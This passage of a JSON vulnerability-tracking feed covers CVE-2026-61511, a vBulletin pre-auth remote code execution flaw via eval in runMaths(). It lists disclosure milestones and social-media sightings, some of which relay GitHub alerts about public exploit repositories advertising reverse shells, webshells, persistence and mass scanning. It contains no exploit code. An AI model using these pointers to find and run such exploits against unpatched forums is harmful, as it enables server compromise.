{"metadata": {"vulnerability": "CVE-2026-61511", "count": 74, "kinds": {"milestone": 5, "sighting": 51, "kev": 5, "other": 13}}, "data": [{"timestamp": "2026-07-10T15:43:36.627Z", "date_only": false, "value": "2026-07-10T15:43:36.627Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-61511", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-61511", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-07-27T00:00:00Z", "date_only": false, "value": "2026-07-27T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-61511", "record": "FKIE_CVE-2026-61511", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-07-27T08:21:08.086Z", "date_only": false, "value": "2026-07-27T08:21:08.086620Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrmhnqg6ev2e", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "506b7dc7-cb1d-40d2-b137-0ce3076688df", "content": "A public PoC now targets CVE-2026-61511, a vBulletin preauth RCE via runMaths eval. Patch to vBulletin 6.2.2 to block remote code execution.\n\n#vBulletin #CVE202661511 #RCE #PreauthRCE #RemoteCodeExecution #PoC #WebSecurity #Cybersecurity", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mrmhnqg6ev2e"}, {"timestamp": "2026-07-27T11:04:04Z", "date_only": false, "value": "2026-07-27T11:04:04Z", "kind": "other", "label": "Source Published At", "source": "gna-1988 \u00b7 GCVE-1988-2026-0287 / VULNARCHIVE", "record": "GCVE-1988-2026-0287", "field": "containers.cna.x_gcve.0.x_vulnarchive.sourcePublishedAt"}, {"timestamp": "2026-07-27T12:39:16.085Z", "date_only": false, "value": "2026-07-27T12:39:16.085Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-61511", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-07-27T14:04:06.018Z", "date_only": false, "value": "2026-07-27T14:04:06.018918Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrn2szkn2t2r", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "4cfffc94-61d2-46c2-98e2-0fc333bba0f6", "content": "CVE-2026-61511 - vbulletin\nUnauthenticated attackers can inject and execute arbitrary PHP code through vBulletin's template system, potentially leading to unauthorized access and data manipulation. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#vbulletin #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mrn2szkn2t2r"}, {"timestamp": "2026-07-27T14:16:59Z", "date_only": false, "value": "2026-07-27T14:16:59Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-43HG-F3WJ-J2M6", "record": "GHSA-43HG-F3WJ-J2M6", "field": "database_specific.nvd_published_at"}, {"timestamp": "2026-07-27T14:16:59.177Z", "date_only": false, "value": "2026-07-27T14:16:59.177", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-61511", "record": "FKIE_CVE-2026-61511", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-07-27T14:18:03.325Z", "date_only": false, "value": "2026-07-27T14:18:03.325285Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/suriq.io/post/3mrn3lxmyr62z", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "452a4b07-8695-46f1-aaea-9e9e855e0c47", "content": "\u26a0\ufe0f PATCH NOW\n\nvBulletin has a critical flaw (CVE-2026-61511) that lets anyone run code on the forum server with no login.\n\nPatched in 6.2.2, but the exploit went public today, so unpatched forums are exposed now.\n\nIf you run vBulletin, update to 6.2.2.", "url": "https://bsky.app/profile/suriq.io/post/3mrn3lxmyr62z"}, {"timestamp": "2026-07-27T15:32:30Z", "date_only": false, "value": "2026-07-27T15:32:30Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-43HG-F3WJ-J2M6", "record": "GHSA-43HG-F3WJ-J2M6", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2026-07-27T17:00:24.850Z", "date_only": false, "value": "2026-07-27T17:00:24.850611Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrneobzkb72m", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "35ab6e85-0bfe-4d65-bd43-7dc19968030a", "content": "Public exploit details for CVE-2026-61511 show an unauthenticated RCE in vBulletin's template engine, reaching PHP eval() via vB5_Template_Runtime::runMaths(). Affects unpatched forums. #vBulletin #CVE-2026-61511 #PHP", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrneobzkb72m"}, {"timestamp": "2026-07-27T19:23:07.477Z", "date_only": false, "value": "2026-07-27T19:23:07.477895Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mrnmndolqdl2", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "347eaf9f-5951-47ac-b053-405fd88fe8f1", "content": "PoC for CVE-2026-61511, unauthenticated vBulletin RCE https://ssd-disclosure.com/vbulletin-runtime-template-runmaths-preauth-rce/", "url": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mrnmndolqdl2"}, {"timestamp": "2026-07-28T01:49:52.461Z", "date_only": false, "value": "2026-07-28T01:49:52.461Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / VulnCheck", "record": "CVE-2026-61511", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-07-28T05:00:03.785Z", "date_only": false, "value": "2026-07-28T05:00:03.785687Z", "kind": "sighting", "label": "Seen", "source": "Telegram/IvSYhiVE7XGa5Xwo6T17oAU9D2-w0Ja8vTl5CzGS7UbcY5M", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "96cc4e60-262f-4057-80bf-f45632e8227c"}, {"timestamp": "2026-07-28T14:00:04.917Z", "date_only": false, "value": "2026-07-28T14:00:04.917718Z", "kind": "sighting", "label": "Seen", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "165633e9-ca13-4465-9b05-f91d8d2278a2"}, {"timestamp": "2026-07-28T19:08:12.444Z", "date_only": false, "value": "2026-07-28T19:08:12.444858Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrq4bqalu22o", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "b93f2a89-cc06-4921-8eb8-a7329cd7882d", "content": "\ud83e\udd16 CVE-2026-61511: Critical pre-auth RCE in vBulletin with public exploit. Unauthenticated attackers execute arbitrary PHP code via template rendering. Patch available.\n\nhttps://www.bleepingcomputer.com/news/security/vbulletin-fixes-critical-pre-auth-rce-flaw-with-public-exploit/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mrq4bqalu22o"}, {"timestamp": "2026-07-28T19:45:23.726Z", "date_only": false, "value": "2026-07-28T19:45:23.726626Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrq6e76lic23", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "64a8fb0e-bfbe-4b0f-a6c0-07cf56ac6e9b", "content": "vBulletin patched CVE-2026-61511, a critical pre-auth RCE flaw that could let unauthenticated attackers run arbitrary PHP via template rendering. A public exploit exists; versions up to 5.7.5 and 6.2.1 are affected. #vBulletin #RCE #PHP", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrq6e76lic23"}, {"timestamp": "2026-07-28T20:00:07.506Z", "date_only": false, "value": "2026-07-28T20:00:07.506708Z", "kind": "sighting", "label": "Seen", "source": "Telegram/yRjHjV7EIJtudScJ7xrji7ti9dF3Loko14oGa2A8AjjpSbY", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "c8412e14-7f80-41ba-81d9-55dd932b78ba"}, {"timestamp": "2026-07-28T20:00:07.922Z", "date_only": false, "value": "2026-07-28T20:00:07.922006Z", "kind": "sighting", "label": "Seen", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "474b71b5-6de7-454a-b516-f1015b04e636"}, {"timestamp": "2026-07-28T20:13:43.462Z", "date_only": false, "value": "2026-07-28T20:13:43.462967Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mrq7wtygp32e", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "bd2f48b0-ca65-4e4f-aff4-2b49ffc593fb", "content": "Heads up, vBulletin admins! A critical pre-auth RCE (CVE-2026-61511) with a public exploit is actively compromising outdated forums. This recurring template engine flaw demands urgent patching or migration to secure your site.\n\nhttps://www.tpp.blog/273mxus\n\n#cybersecurity #vbulletin #cve202661511", "url": "https://bsky.app/profile/pixelsandpulse.bsky.social/post/3mrq7wtygp32e"}, {"timestamp": "2026-07-28T21:35:45.593Z", "date_only": false, "value": "2026-07-28T21:35:45.593794Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mrqeji6wx22g", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "a0726a17-cc13-4862-8c64-65568aa74f0c", "content": "vBulletin\u306b\u8a8d\u8a3c\u4e0d\u8981\u306eRCE \u8106\u5f31\u6027 CVE-2026-61511\u3001\u516c\u958bPoC\u3042\u308a\u30676.2.2\u3078\u306e\u66f4\u65b0\u3092\u63a8\u5968\n\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #\u8106\u5f31\u6027", "url": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mrqeji6wx22g"}, {"timestamp": "2026-07-29T00:00:26.703Z", "date_only": false, "value": "2026-07-29T00:00:26.703678Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/h1j6Jl6m2npLlEniyRpMllHKNmi9d2U9i1x7gM3I-76diKo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fbc4fe89-0d7a-40c8-b61a-c9d0dfbc7471", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T00:00:26.916Z", "date_only": false, "value": "2026-07-29T00:00:26.916588Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/yRjHjV7EIJtudScJ7xrji7ti9dF3Loko14oGa2A8AjjpSbY", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "f7df8e45-44b3-45af-bea9-426c23fda69f", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T00:00:34.268Z", "date_only": false, "value": "2026-07-29T00:00:34.268112Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "98cdda43-9944-42a9-ab6c-8da08a9824e9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T00:00:46.763Z", "date_only": false, "value": "2026-07-29T00:00:46.763002Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/IvSYhiVE7XGa5Xwo6T17oAU9D2-w0Ja8vTl5CzGS7UbcY5M", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "19d90faf-d7c6-45d1-b581-e5a24de1292d", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T02:00:03.865Z", "date_only": false, "value": "2026-07-29T02:00:03.865608Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95609", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "31e13256-e6f7-449d-ae0b-6a6f3e2ace9b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Ultimate-CVE-2026-61511\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a codeb0ssx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 00:52:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nvBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows unauthenticated remote attackers to execute arbitrary PHP code\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95609"}, {"timestamp": "2026-07-29T04:00:04.999Z", "date_only": false, "value": "2026-07-29T04:00:04.999799Z", "kind": "sighting", "label": "Seen", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "e935d4e2-0e09-4080-9d31-884333b8881b"}, {"timestamp": "2026-07-29T04:00:05.032Z", "date_only": false, "value": "2026-07-29T04:00:05.032472Z", "kind": "sighting", "label": "Seen", "source": "Telegram/QB-KsUWLzXJwQwzu3y3h7EaFYqjJqeuIVoOZ7qIyJEvvfRQ", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "1bd0ab24-e7cd-4691-9aa0-0cc5e092b6c9"}, {"timestamp": "2026-07-29T11:00:06.090Z", "date_only": false, "value": "2026-07-29T11:00:06.090907Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95651", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "7b764e1b-c449-4f15-9a04-7069cd15d652", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 08:31:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-61511 \u2013 vBulletin Pre-Auth RCE (CVSS 9.8). Vuln 5.x/6.x (unpatched). Multi-exploit via Endpoint Pool, AJAX, PHPFuck WAF bypass. Full toolkit: reverse shell, proxy, persistence, webshell, database operations, firewall control, log management, mass scanning. 2 versions: multi-exploit & safe-check. Python 3.8+ Use Ethically, Stay Legal. \ud83d\udd12\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95651"}, {"timestamp": "2026-07-29T13:00:06.214Z", "date_only": false, "value": "2026-07-29T13:00:06.214066Z", "kind": "sighting", "label": "Seen", "source": "Telegram/g38DleJHgOgrObzOzogNy-FQ9NoQ3t7D9hzvmW22jIm78xQ", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "58f74310-0b3a-455d-991e-740d6ea37b55"}, {"timestamp": "2026-07-29T13:00:06.306Z", "date_only": false, "value": "2026-07-29T13:00:06.306525Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95675", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "898af779-8731-40fe-90d1-3a0afd363a09", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 3  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 10:21:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-61511 \u2013 vBulletin Pre-Auth RCE (CVSS 9.8). Vuln 5.x/6.x (unpatched). Multi-exploit via Endpoint Pool, AJAX, PHPFuck WAF bypass. Full toolkit: reverse shell, proxy, persistence, webshell, database operations, firewall control, log management, mass scanning. 2 versions: multi-exploit & safe-check. Python 3.8+ Use Ethically, Stay Legal. \ud83d\udd12\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95675"}, {"timestamp": "2026-07-29T15:00:04.205Z", "date_only": false, "value": "2026-07-29T15:00:04.205783Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/95684", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "003bdfc6-6669-40f0-9a7d-909a1dfcda9e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 12:40:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95684"}, {"timestamp": "2026-07-29T15:03:32.203Z", "date_only": false, "value": "2026-07-29T15:03:32.203934Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrs734spyc2g", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "c5b69929-0b0a-4d7d-92a8-858ecff0122d", "content": "A critical vBulletin pre-auth RCE vulnerability, CVE-2026-61511, threatens unpatched forums. Learn how attackers exploit template math evaluation.\n\n#vBulletin #CVE202661511 #RCE #Cybersecurity #Infosec", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mrs734spyc2g"}, {"timestamp": "2026-07-29T17:00:19.362Z", "date_only": false, "value": "2026-07-29T17:00:19.362520Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mrsflxnyq32h", "record": "cve-2026-61511", "field": "creation_timestamp", "uuid": "1ea673a2-ae0c-488e-8252-651a44813713", "content": "\ud83d\udce2 RCE non authentifi\u00e9e dans vBulletin \u2264 6.2.1 via la m\u00e9thode runMaths() (CVE-2026-61511)\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 27 juillet 2026 sur le blog de r\u2026\nhttps://cyberveille.ch/posts/2026-07-29-rce-non-authentifiee-dans-vbulletin-6-2-1-via-la-methode-runmaths-cve-2026-61511/ #CVE_2026_61511 #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mrsflxnyq32h"}, {"timestamp": "2026-07-29T19:07:07.089Z", "date_only": false, "value": "2026-07-29T19:07:07.089732Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mrsmoohwmd2m", "record": "cve-2026-61511", "field": "creation_timestamp", "uuid": "e7ea58b7-93e6-4e79-b809-a4b5c4e1564c", "content": "\ud83d\udccc Critical vBulletin Vulnerability CVE-2026-61511 Allows Remote Code Execution https://www.cyberhub.blog/article/29904-critical-vbulletin-vulnerability-cve-2026-61511-allows-remote-code-execution", "url": "https://bsky.app/profile/cyberhub.blog/post/3mrsmoohwmd2m"}, {"timestamp": "2026-07-29T20:00:03.929Z", "date_only": false, "value": "2026-07-29T20:00:03.929861Z", "kind": "sighting", "label": "Seen", "source": "Telegram/Ig8EiCACgPrEXQ5i-DIyVp_2gol1J9_WigCZpGPavBW5BRY", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "c37d0b7b-fc16-43ac-922b-840bf4c001cb"}, {"timestamp": "2026-07-29T20:00:03.978Z", "date_only": false, "value": "2026-07-29T20:00:03.978307Z", "kind": "sighting", "label": "Seen", "source": "Telegram/TzHuoTQGGjrCLjvjb-w7G7VP2W7wuY36FTV_RC7C2rNjBX8", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "24424952-9aaa-4587-939e-a793f0567e07"}, {"timestamp": "2026-07-30T00:00:09.846Z", "date_only": false, "value": "2026-07-30T00:00:09.846384Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/TzHuoTQGGjrCLjvjb-w7G7VP2W7wuY36FTV_RC7C2rNjBX8", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "74bd7140-8963-4b0d-94d3-efc849863a3e", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:00:28.053Z", "date_only": false, "value": "2026-07-30T00:00:28.053879Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95684", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "dba228a5-54f1-41ca-ab8b-6500567dc6c9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a webshellseo8\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 12:40:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95684", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:00:28.933Z", "date_only": false, "value": "2026-07-30T00:00:28.933372Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95675", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "d1abbe48-9fbb-4b32-9daf-200325b431e6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 3  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 10:21:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-61511 \u2013 vBulletin Pre-Auth RCE (CVSS 9.8). Vuln 5.x/6.x (unpatched). Multi-exploit via Endpoint Pool, AJAX, PHPFuck WAF bypass. Full toolkit: reverse shell, proxy, persistence, webshell, database operations, firewall control, log management, mass scanning. 2 versions: multi-exploit & safe-check. Python 3.8+ Use Ethically, Stay Legal. \ud83d\udd12\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95675", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:00:29.448Z", "date_only": false, "value": "2026-07-30T00:00:29.448825Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/g38DleJHgOgrObzOzogNy-FQ9NoQ3t7D9hzvmW22jIm78xQ", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "e9e58056-2eff-4608-98e4-42e93d01f962", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:02:05.993Z", "date_only": false, "value": "2026-07-30T00:02:05.993429Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95651", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "fae10a3a-ef19-4144-90db-2d3927bf0ba7", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-61511\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 08:31:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-61511 \u2013 vBulletin Pre-Auth RCE (CVSS 9.8). Vuln 5.x/6.x (unpatched). Multi-exploit via Endpoint Pool, AJAX, PHPFuck WAF bypass. Full toolkit: reverse shell, proxy, persistence, webshell, database operations, firewall control, log management, mass scanning. 2 versions: multi-exploit & safe-check. Python 3.8+ Use Ethically, Stay Legal. \ud83d\udd12\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/95651", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:03:15.956Z", "date_only": false, "value": "2026-07-30T00:03:15.956230Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/QB-KsUWLzXJwQwzu3y3h7EaFYqjJqeuIVoOZ7qIyJEvvfRQ", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "831ba322-d99f-4ca2-b4c4-9e11f8966835", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:03:16.071Z", "date_only": false, "value": "2026-07-30T00:03:16.071022Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "d4046a74-5e47-43a9-b192-a1be0962bc0e", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T00:03:18.719Z", "date_only": false, "value": "2026-07-30T00:03:18.719936Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/95609", "record": "CVE-2026-61511", "field": "creation_timestamp", "uuid": "66303b83-0334-4ed9-b504-0d2e02ac534b", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Ultimate-CVE-2026-61511\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a codeb0ssx\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 00:52:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nvBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contains an eval injection vulnerability in the vB5_Template_Runtime::runMaths() method within the template runtime that allows unauthenticated remote attackers to execute arbitrary PHP code\n\n\ud83d\udd17 